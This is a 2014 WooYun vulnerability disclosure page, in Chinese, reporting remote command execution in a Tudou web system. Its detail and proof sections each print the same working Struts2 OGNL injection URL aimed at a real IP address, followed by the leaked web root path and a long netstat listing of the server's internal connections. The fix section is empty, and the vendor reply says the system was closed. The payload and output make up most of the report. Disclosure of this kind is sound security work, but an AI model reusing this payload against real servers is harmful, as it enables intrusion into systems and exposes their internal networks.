当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-077786
漏洞标题：
土豆网某系统存在远程命令执行漏洞
相关厂商：
土豆网
漏洞作者：
if、so
提交时间：
2014-09-29 16:19
修复时间：
2014-11-13 16:20
公开时间：
2014-11-13 16:20
漏洞类型：
命令执行
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

土豆网某系统命令执行

详细说明：

1111.JPG


http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
tcp        0      0 :::8080                     :::*                        LISTEN      
tcp        0      0 :::80                       :::*                        LISTEN      
tcp        0      0 :::8081                     :::*                        LISTEN      
tcp        0      0 :::22                       :::*                        LISTEN      
tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
tcp        0      0 :::8009                     :::*                        LISTEN      
tcp        0      0 :::8010                     :::*                        LISTEN      
tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:

漏洞证明：

http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
tcp        0      0 :::8080                     :::*                        LISTEN      
tcp        0      0 :::80                       :::*                        LISTEN      
tcp        0      0 :::8081                     :::*                        LISTEN      
tcp        0      0 :::22                       :::*                        LISTEN      
tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
tcp        0      0 :::8009                     :::*                        LISTEN      
tcp        0      0 :::8010                     :::*                        LISTEN      
tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
tcp        0      0 ::ffff:10.25.8.67:

修复方案：

。。

版权声明：转载请注明来源 if、so@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-09-29 16:57

厂商回复：

多谢，已关闭此系统

最新状态：

暂无